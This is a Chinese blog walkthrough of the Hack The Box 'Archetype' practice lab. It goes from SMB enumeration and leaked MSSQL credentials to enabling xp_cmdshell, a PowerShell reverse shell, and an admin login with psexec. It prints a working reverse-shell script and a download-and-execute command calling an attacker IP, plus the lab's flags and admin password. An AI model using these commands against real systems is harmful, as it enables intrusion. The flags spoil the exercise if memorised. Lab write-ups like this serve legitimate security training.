Hack The Box : Starting Point - Archetype

环境准备

攻击机:kali-linux

靶机:Archetype

---------------------------------------------------------------------------------------------------------------------------------

需要下载的工具:impacket(GitHub链接:GitHub - SecureAuthCorp/impacket: Impacket is a collection of Python classes for working with network protocols.

安装过程:将压缩包解压后,进入impacket-master文件夹,利用命令 pip install . 即可安装。(其中pip命令需要根据系统提示安装相关资源即可执行)

---------------------------------------------------------------------------------------------------------------------------------

网络配置:从HTB下载Starting Point VPN,打开kali,利用openvpn连接,出现下图则连接成功。通过ping靶机ip验证是否连接成功。

渗透过程

先进行信息收集,利用nmap扫描目标开放端口和对应服务。

nmap -sC -sV 10.10.10.27

-sC:根据端口识别服务自动调用默认脚本

-sV:扫描目标主机的端口和软件版本

得到靶机开放了445端口(SMB)和1433端口(sql server 服务默认端口)。通过smbclient尝试无密码访问靶机445端口。

smbclient -N -L //10.10.10.27

-N:不询问密码,无密码访问

-L:显示服务器端所分享出来的所有资源

存在backups文件夹,访问该文件夹,用dir命令查看文件,发现存在一个配置文件,利用get命令下载。

用cat命令查看该文件,发现泄露的可能为数据库用户名密码信息。

cat:命令用于连接文件并打印到标准输出设备上。

由于获得疑似数据库用户名密码,同时靶机开放了1433端口,尝试通过impacket中mssqlclient.py脚本连接数据库,成功连接。

执行语句select is_srvrolemember('sysadmin')来判断当前用户是否属于sysadmin组。返回 1 则当前用户具有sa权限。

select is_srvrolemember('sysadmin');

通过查询返回结果 1 发现xp_cmdshell没有被删除。可利用sysadmin权限开启该功能。

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';

执行下列语句开启xp_cmdshell功能。通过whoami发现当前系统用户为用户权限。

exec sp_configure "show advanced options",1;  -- 使用sp_configure系统存储过程,设置服务器配置选项,将Show Advanced Options设置为1时,允许修改数据库的高级配置选项。
reconfigure;  -- 执行上述操作。
exec sp_configure "xp_cmdshell",1;  -- 使用sp_configure系存储过程,启用xp_cmdshell参数,来允许SQL Server调用操作系统命令。
reconfigure;  -- 执行上述操作。
xp_cmdshell "whoami";  -- 利用xp_cmdshell调用系统命令执行whoami。

现在只能通过数据库执行部分系统命令。为了后续操作在桌面新建一个powershell的反弹shell文件来获取靶机操作系统普通用户权限。将该文件命名为shell.ps1。

$client = New-Object System.Net.Sockets.TCPClient("10.10.15.7",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

在桌面打开终端利用python启动小型http服务。

python3 -m http.server 80

再打开一个终端,用nc监听本地443端口。

nc -l -n -v -p 443

-l:使用监听模式,管控传入的资料。

-n:直接使用IP地址,而不通过域名服务器。

-v:显示指令执行过程。

-p:设置本地主机使用的通信端口。

执行下面语句,让靶机利用xp_cmdshell调用系统命令启动powershell到我的机器上下载shell.ps1文件执行。

xp_cmdshell "powershell IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.15.7/shell.ps1\");"

可以在开启web服务的终端看到目标成功下载shell.ps1。

可以在监听的443端口中获得返回的shell。即拿到了当前用户cmd。执行命令dir,获得当前所在目录。

进入目录:c:\users\sql_svc\desktop 发现桌面存在user.txt,利用type命令打开,即可获得第一个flag:3e7b102e78218e935bf3f4951fec21a3

进入该目录:c:\users\sql_svc\appdata\roaming\microsoft\windows\powershell\psreadline 可看到存在powershell历史文件。

利用type命令查看,获得管理员密码:MEGACORP_4dm1n!!

type:windows下用于查看文本文件命令。

利用impacket中的psexec.py脚本登录管理员账号,成功登录获得管理员权限。

psexec.py administrator@10.10.10.27

进入目录:c:\users\administrator\desktop 利用dir命令发现存在root.txt,利用type命令查看获得第二个flag:b91ccec3305e98240082d4474b848528。

总结与遇到的问题

1、安装impacket时出现了问题。由于利用命令 pip install . 安装以为安装pip相关组件时按回车即是默认y,但并不是,在这里耗费了大量时间。安装相关组件时出现询问一定要输入y再回车。

2、mssqlclient.py:MSSQL客户端,支持SQL和Windows身份验证(哈希)。它还支持TLS。在这里的 -windows-auth 我猜测应该是利用windows身份验证。

3、powershell历史记录文件可能存在敏感信息,储存路径为:c:\users\用户名\appdata\roaming\microsoft\windows\powershell\psreadline 中的consolehost_history.txt

4.psexec.py:可以通过提供用户名和密码来调用cmd.exe。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值